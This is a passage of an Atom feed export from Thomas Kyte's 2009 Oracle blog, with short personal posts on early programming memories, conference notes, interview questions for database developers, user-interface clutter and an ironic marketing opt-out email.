src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1900605869701418963</id><published>2009-09-15T10:02:00.002-04:00</published><updated>2009-09-15T10:04:49.127-04:00</updated><title type='text'>Every day I learn something new...</title><content type='html'>Two things&lt;br /&gt;&lt;br /&gt;One, &lt;a href="http://www.oracle-base.com/blog/2009/09/15/relies-on-clause-no-more/"&gt;here is something new I learned today&lt;/a&gt;.  I wasn't aware of that, that is a nice "stealth" feature :)&lt;br /&gt;&lt;br /&gt;The other thing - I have a &lt;a href="http://www.oracle.com/database/podcasts.html"&gt;podcast on 11g Release 2 &lt;/a&gt;"things" posted on oracle.com if you are interested....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1900605869701418963?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1900605869701418963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1900605869701418963' title='29 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1900605869701418963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1900605869701418963'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/09/every-day-i-learn-something-new.html' title='Every day I learn something new...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>29</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6538509869865699938</id><published>2009-08-07T06:59:00.005-04:00</published><updated>2009-08-07T07:38:24.610-04:00</updated><title type='text'>Memories...</title><content type='html'>Wow, I stumbled on &lt;a href="http://friendfeed-media.com/6d3f6bfb2a54b8d2eac6fc8a3950a07d9a140134"&gt;this&lt;/a&gt; - and I so remember it.&lt;br /&gt;&lt;br /&gt;I remember my first Pascal (turbo of course), that really got me started programming at home, in my spare time.  That was the beginning of the end.&lt;br /&gt;&lt;br /&gt;And when I got Turbo C, that was it.  I was hooked.  I cannot count the number of times I had to reboot my computer learning C - as I was constantly overwriting memory in the beginning - but it was worth it.  How many times did I have to flip flop the floppies "Insert Library Disk 1", "Insert Library Disk 2" - because I had no hard drive...&lt;br /&gt;&lt;br /&gt;A blast from the past.&lt;br /&gt;&lt;br /&gt;This morning, as I was crawling under my desk to get to the USB hub to plug in yet another device, I was thinking "remember back in the day when every device you bought came with an 'expansion card' and you had to crack the case to install hardware - this is too easy".&lt;br /&gt;&lt;br /&gt;My first hard disk - partition it into 32mb or less partitions (DOS didn't do more than 32mb on a disk back then...), install hardware, reinstall hardware, load drivers (by hand...), have at a really really slow disk..&lt;br /&gt;&lt;br /&gt;My first computer CD device - hardware to install first, then lots of device drivers (by hand, edit that config.sys)...&lt;br /&gt;&lt;br /&gt;My first scanner, ditto&lt;br /&gt;&lt;br /&gt;Modem... the same.&lt;br /&gt;&lt;br /&gt;and so on.  It is very much easier these days, but you lose a bit of knowledge with that ease of use.  Maybe that is why I had to opportunity to &lt;a href="http://tkyte.blogspot.com/2009/08/every-now-and-then-you-read-something.html"&gt;write this&lt;/a&gt;...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6538509869865699938?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6538509869865699938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6538509869865699938' title='43 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6538509869865699938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6538509869865699938'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/08/memories.html' title='Memories...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>43</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2750119911432600114</id><published>2009-08-06T06:43:00.002-04:00</published><updated>2009-08-06T06:46:08.326-04:00</updated><title type='text'>It is true...</title><content type='html'>I get to see a lot of "in house" applications - those applications developed internally for and by a company itself.&lt;br /&gt;&lt;br /&gt;The screens on these applications many times have more fields on them than the mind can fathom.  Fields and buttons galore.&lt;br /&gt;&lt;br /&gt;Just like this &lt;a href="http://www.talkingtext.com/wordpress_en/2008/04/pdamobile-phone/apple-product-google-application-your-product"&gt;cartoon demonstrates&lt;/a&gt;...&lt;br /&gt;&lt;br /&gt;It is so true - I like simple user interfaces (yes, I'm a metalink classic fan too...)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2750119911432600114?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2750119911432600114/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2750119911432600114' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2750119911432600114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2750119911432600114'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/08/it-is-true.html' title='It is true...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1593607612267463345</id><published>2009-08-04T13:59:00.003-04:00</published><updated>2009-08-04T14:03:47.201-04:00</updated><title type='text'>Sometimes...</title><content type='html'>Every now and then, you read something that makes you go "huh".&lt;br /&gt;&lt;br /&gt;I was answering some questions on asktom today and had one about a CSV (comma separated values) file.  Thought I would point the person to the 'specification' for that file format and the first searching I did turned this up (from a forum)&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;Perhaps I misunderstand the question because I'm not sure what&lt;br /&gt;"format" and "escape" characters are.&lt;br /&gt;&lt;br /&gt;However, to my knowledge, CSV files are nothing more than ascii text&lt;br /&gt;files, &lt;span style="font-weight: bold;"&gt;which means the font is courier and 12 pt&lt;/span&gt;.&lt;/blockquote&gt;The emphasis is mine - a CSV file is just a file where the text is in 12pt courier!  That is so simple.&lt;br /&gt;&lt;br /&gt;Sometimes, you read something and it just makes you laugh out loud...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1593607612267463345?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1593607612267463345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1593607612267463345' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1593607612267463345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1593607612267463345'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/08/every-now-and-then-you-read-something.html' title='Sometimes...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3974126546939056447</id><published>2009-05-28T08:40:00.001-04:00</published><updated>2009-05-28T10:58:53.348-04:00</updated><title type='text'>Collaborate09 thoughts...</title><content type='html'>&lt;p&gt;I've been meaning to write up my thoughts from this years IOUG Collaborate event.&amp;#160; Ian Abramson, the president of the IOUG, has a nice series of write ups on the event itself - starting with &lt;a href="http://blogs.ioug.org/?p=105"&gt;day 1&lt;/a&gt; through day 3 and then a wrap-up post.&amp;#160; He describes it as a three day event - but to me it is more of a four day thing.&amp;#160; For the last couple of years, I've done a university day at Collaborate - so once again I spent all day Sunday May 3rd in a conference center talking about Oracle for eight hours.&amp;#160; This year I talked about Encryption, all of the Flashback technologies, Read &amp;amp; Write Consistency (a really nice way to introduce the flashback stuff actually, sort of a pre-requisite) and Database Reorganizations (when to, when not to and when you have to - how to).&lt;/p&gt;  &lt;p&gt;I also had a one hour &amp;quot;regular&amp;quot; session on Monday where I presented on &amp;quot;What's new in Oracle Application Development&amp;quot; where I touched on general database enhancements, ODP.Net, PHP/Ruby/Python, Java/JDBC, SQL Developer and APEX advances.&amp;#160; This is the session where I got most of the questions/comments this year.&lt;/p&gt;  &lt;p&gt;I think I might have scared away some of the DBA crowd with my session title, they see &amp;quot;Application Development&amp;quot; and stay away - but I know for sure at least one DBA was in the audience.&amp;#160; He came up to me afterwards and commented on how glad he was to have attended - for a pretty simple reason.&amp;#160; In each of the tools I discussed (mostly .NET, SQL Developer and APEX) - I pointed out how they easily tied the application into AWR (automatic workload repository) and ASH (active session history) facilities and how they could be used as an interface to the tuning/diagnostic packs.&amp;#160; He is sure the developers he supports are unaware of this tie in and he himself certainly was - but his first course of action upon getting back to the office would be to expose them to it.&amp;#160; The problem he has had in the past is that many people consider tuning &amp;quot;a DBA task&amp;quot; - when in fact - it is really a developer's thing to do.&amp;#160; Since most developers don't have access to, or don't want access to Enterprise Manager - they assumed the advanced tuning features were not available to them.&amp;#160; Not any more - all of the development tools now have tie in's to AWR/ASH and various features of the tuning/diagnostic packs.&lt;/p&gt;  &lt;p&gt;One of the areas of large interest is the new (in beta) SQL Developer &lt;a href="http://www.oracle.com/technology/products/database/sql_developer/files/Modeling.html"&gt;data modeling features&lt;/a&gt;.&amp;#160; A lot of people (self included) still find the good old ERD (entity relationship diagram) a good way to envision/model your schema.&amp;#160; SQL Developer now has an engine to do just that - with the ability to spit out various different physical models from the same logical model - either in support of different databases (yes, it does not just do Oracle), or in support of different environments (simple storage characteristic changes).&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt; One thing I find interesting/good about an event like Collaborate is the ability to learn something new.&amp;#160; Even after using Oracle for going on 22 years, I still learn something new often (almost every day).&amp;#160; Regardless of your skill level, there is the opportunity to expand your knowledge of the stuff you use.&amp;#160; For example - Jonathan Lewis (a pretty smart guy when it comes to Oracle knowledge) posted about some things he discovered for the &lt;a href="http://jonathanlewis.wordpress.com/2009/05/08/ioug-day-4/"&gt;first time&lt;/a&gt;.&amp;#160; I strongly encourage everyone to attend at least one event if possible every year - to network, to learn and..... to present.&amp;#160; IOUG Collaborate is a good venue for doing that - UKOUG is another - and the call for papers for the UKOUG event in November is &lt;a href="http://jonathanlewis.wordpress.com/2009/05/27/call-for-papers/"&gt;currently happening&lt;/a&gt;....&amp;#160; Take a chance - go for it.&amp;#160; It'll probably go much better than my &lt;a href="http://tkyte.blogspot.com/2005/04/progression_29.html"&gt;first presentation&lt;/a&gt; :)  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3974126546939056447?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3974126546939056447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3974126546939056447' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3974126546939056447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3974126546939056447'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/05/collaborate09-thoughts.html' title='Collaborate09 thoughts...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2873139337902085359</id><published>2009-05-13T21:16:00.001-04:00</published><updated>2009-05-14T06:31:05.183-04:00</updated><title type='text'>An interview question...</title><content type='html'>&lt;p&gt;A couple of days ago I read an article &amp;quot;&lt;a href="http://asserttrue.blogspot.com/2009/05/one-of-toughest-job-interview-questions.html"&gt;One of the toughest job-interview questions ever&lt;/a&gt;&amp;quot;.&amp;#160; I was reminded of it by &lt;a href="http://github.com/raganwald/homoiconic/blob/master/2009-05-13/tough_crowd.md#readme"&gt;this posting&lt;/a&gt;... &lt;/p&gt;  &lt;p&gt;I found the original post interesting - mostly because I liked the answer the technical writer gave.&amp;#160; A bit of background - someone interviewing for a technical writing position is asked what is clearly a &amp;quot;hard core, heads down, write code programmer question&amp;quot;.&amp;#160; The question seemed entirely inappropriate for the position - but - the answer given was great (I thought)&lt;/p&gt;  &lt;p&gt;The answer consisted of lots of questions - in effect - a lot of push back.&amp;#160; Define this, specify that, clarify this - need more information.&lt;/p&gt;  &lt;p&gt;I can relate.&amp;#160; &lt;/p&gt;  &lt;p&gt;What surprised me was that a lot of the feedback was negative.&amp;#160; A lot of people said &amp;quot;would never hire you&amp;quot;, &amp;quot;you missed the point&amp;quot;.&lt;/p&gt;  &lt;p&gt;All of the time I was reading though, I was nodding my head saying &amp;quot;yeah, what about that&amp;quot;.&amp;#160; I would have hired him on the spot.&amp;#160; Critical thinking, push back, give me the details, tell me what you are really trying to do.&amp;#160; &lt;/p&gt;  &lt;p&gt;The programmer that rolls over and just answers the question - without enough information to actually answer the question - should send the interviewer running away.&amp;#160; But that is apparently what a lot of interviewers are looking for.&lt;/p&gt;  &lt;p&gt;I've been known to have &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:495221712170#3391464934880"&gt;three to four very simple interview questions for &amp;quot;Oracle people&amp;quot;&lt;/a&gt;.&amp;#160; They are designed to test the simple to the sublime.&amp;#160; They are:&lt;/p&gt;  &lt;p&gt;&lt;em&gt;I have a table: &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;create table t ( .....,&amp;#160; month number, ..... ); &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Month is always a number between 1 and 12. &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;I ask three questions about this table: &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;1) how many rows are in the table &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;2) how many rows BY MONTH are in the table (i want to&amp;#160; know how many rows for month one, month two      &lt;br /&gt;and so on) &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;3) what MONTH has the most rows (and for a special bonus, tell me why this question is ambiguous)&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;The fourth question is more of a &amp;quot;do something for me&amp;quot; - and that is &amp;quot;go to the white board, draw a picture of Oracle and tell me how it works&amp;quot;.&lt;/em&gt;&amp;#160; &lt;/p&gt;  &lt;p&gt;As the link says - a surprising number of people *struggle* (seriously) with the first question.&amp;#160; The second - gets *most* (seriously) of the rest.&amp;#160; The third question freaks them out mostly.&amp;#160; Especially the parenthetical part.&amp;#160; The fourth question - sends people running out of the room.&lt;/p&gt;  &lt;p&gt;That is why I liked the article I originally read - the author was poking around, developing derived requirements, fleshing it out, figuring out what really needed to be done, &lt;strong&gt;not rolling over and saying &amp;quot;you got it, I'll be right on it, we'll do that straight away&amp;quot;&lt;/strong&gt;.&amp;#160; Developers (DBA's, whatever) that don't push back, that don't dig into the question, that don't try to convey &amp;quot;this is more complex than you think, we need to go a bit into this to figure out what you really need&amp;quot; - well, I don't have any patience for them.&amp;#160; They do not belong (in our profession).&lt;/p&gt;  &lt;p&gt;Will that person (the interview-e) annoy you?&amp;#160; Sure, from time to time (I'm sure that every now and then - someone is annoyed by me, &lt;em&gt;probably&lt;/em&gt;).&lt;/p&gt;  &lt;p&gt;Will you ultimately be really happy they were there? &lt;strong&gt;Absolutely&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;Will the person that rolls over annoy you? Absolutely - every time - most of the time probably. Especially after they really mess you up the first time they are so &amp;quot;flexible&amp;quot;.&amp;#160; Will you ultimately be even a little happy they were there?&amp;#160; I doubt it.&lt;/p&gt;  &lt;p&gt;I've said many times - there are only TWO answers to all technical questions.&amp;#160; They are:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;WHY (why do you want to do that) &lt;/li&gt;    &lt;li&gt;IT DEPENDS (it really does, and it requires &lt;strong&gt;digging around, poking, probing&lt;/strong&gt; to figure out what it depends on...) &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;poke, probe, ask, discuss, dive deep, play stupid (it works, really) - but get the information...&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2873139337902085359?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2873139337902085359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2873139337902085359' title='55 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2873139337902085359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2873139337902085359'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/05/interview-question.html' title='An interview question...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>55</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2789231314703651930</id><published>2009-04-01T19:54:00.001-04:00</published><updated>2009-04-01T19:54:28.120-04:00</updated><title type='text'>A unique opportunity...</title><content type='html'>&lt;p&gt;Learn SQL from one of the original SQL'ers.&amp;#160; Chris Date is doing some a &lt;a href="http://method-r.com/education/courses/43-course/107-cj-date-course"&gt;seminar&lt;/a&gt; in conjunction with Cary Millsap's company Method-R.&amp;#160; Unfortunately I cannot make it that week (I'd be there if I could) - but it is a rather unique and uncommon offering.&amp;#160; I've often said that if you want to be able to &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:1594885400346999596#1600003200346601869"&gt;&amp;quot;tune&amp;quot; SQL&lt;/a&gt;, you need to understand what is happening underneath the covers, what is available.&amp;#160; You don't want a 10 step checklist, you want &lt;em&gt;knowledge.&lt;/em&gt;&amp;#160; That is what this is all about.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://carymillsap.blogspot.com/2009/03/last-call-for-c-j-date-course.html"&gt;This article&lt;/a&gt; by Cary sums up the seminar as well as why it will be good (in his humble opinion)...&amp;#160; Give it a look see...&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2789231314703651930?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2789231314703651930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2789231314703651930' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2789231314703651930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2789231314703651930'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/04/unique-opportunity.html' title='A unique opportunity...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-147649082996716060</id><published>2009-03-13T10:30:00.001-04:00</published><updated>2009-03-13T10:30:17.083-04:00</updated><title type='text'>Happy Birthday...</title><content type='html'>&lt;p&gt;To both the &lt;a href="http://www.itproportal.com/portal/news/article/2009/3/13/world-wide-web-20-years-old-today/"&gt;World Wide Web&lt;/a&gt;, age 20 years this day and &lt;a href="http://i.gizmodo.com/5169216/happy-15th-birthday-linux"&gt;Linux v1.0&lt;/a&gt;, age 15 years this day.&amp;nbsp; Two creations that have changed a lot of things.&amp;nbsp; Sort of neat that they happened on the same day, albeit five years apart...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-147649082996716060?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/147649082996716060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=147649082996716060' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/147649082996716060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/147649082996716060'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/03/happy-birthday.html' title='Happy Birthday...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2980512573065642924</id><published>2009-03-09T12:27:00.001-04:00</published><updated>2009-03-09T12:27:11.037-04:00</updated><title type='text'>Very good advice...</title><content type='html'>&lt;p&gt;I've been reading Seth Godin's &lt;a href="http://sethgodin.typepad.com/"&gt;blog&lt;/a&gt; for many years.&amp;nbsp; He is a 'marketing' person, with a lot of good old fashioned common sense.&amp;nbsp; I agree with most of what he writes - and he just did a longish post (for Seth Godin it was long).&amp;nbsp; It was on &lt;a href="http://sethgodin.typepad.com/seths_blog/2009/03/slack.html"&gt;Slack&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;His two points in these unique times - if you find yourself unexpectedly with more free time than you had anticipated you should consider:&lt;/p&gt; &lt;p&gt;a) Continuing your education, learn something new.&amp;nbsp; As you go to interview and look around, people will ask you what you've been doing with your time.&amp;nbsp; If you can arrive at an interview with "I've been learning X in my free time" and be really excited about it - be able to converse about it, that'll be a really positive thing.&lt;/p&gt; &lt;p&gt;b) &lt;a href="http://tkyte.blogspot.com/2005/05/success.html"&gt;Participate&lt;/a&gt; - join the forums - become known.&amp;nbsp; I've said that myself many times in the past.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;So think about that if you find you have more time on your hands than you anticipated having... Not bad ideas.&amp;nbsp; Even if you don't have a sudden abundance of free time - maybe find the time to do these two things..&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2980512573065642924?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2980512573065642924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2980512573065642924' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2980512573065642924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2980512573065642924'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/03/very-good-advice.html' title='Very good advice...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3199357567645823501</id><published>2009-02-09T20:26:00.001-05:00</published><updated>2009-02-09T20:32:11.870-05:00</updated><title type='text'>Missing. The. Point....</title><content type='html'>&lt;p&gt;I probably buy 80 to 90% of my non-grocery items online.&amp;nbsp; Furniture, pictures, gifts, TV's, books, kitchen stuff - whatever I can - all online.&amp;nbsp; I hate the "store" experience.&amp;nbsp; Before I go into an actual physical&amp;nbsp;store I usually know exactly what I want - buy it and leave.&amp;nbsp; It took me about 5 minutes to buy shoes this weekend :)&lt;/p&gt; &lt;p&gt;I buy online for the convenience - and the experience is fairly similar regardless where you shop.&amp;nbsp; You typically have to create "that account" (even if you never intend to shop there again..) and you get that form to opt in or out of mailing.&amp;nbsp; They almost always default to "opt in" and I invariably set it to "opt out"&lt;/p&gt; &lt;p&gt;I just bought some shelves while sitting here in King of Prussia, PA (I live in VA, another benefit of shopping online, just do it when/where-ever you want)... I received two emails.&amp;nbsp; Email 1 - my receipt (great).&amp;nbsp; Email 2, well, it was in response to me opting out:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;em&gt;While registering as a shopper with xxxxxx.com, you chose not to receive our promotional Email. &lt;strong&gt;This is being sent to confirm that yyyy@yahoo.com will not receive Email &lt;/strong&gt;from xxxxxx.com. &lt;/em&gt; &lt;p&gt;&lt;em&gt;The decision to receive Email is personal and can be influenced for a variety of reasons. In an attempt to better understand and respond to our customers, we would appreciate it if you would answer a short survey on this topic.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;That just strikes me as "missing the point" :) &lt;p&gt;Can you imagine what my survey comment field might have contained.... The survey did contain &lt;blockquote&gt; &lt;p&gt;&lt;em&gt;We value your feedback and encourage you to give us candid answers. Are there any comments you would like to make to xxxx? (Note: Response is limited to 250 characters) 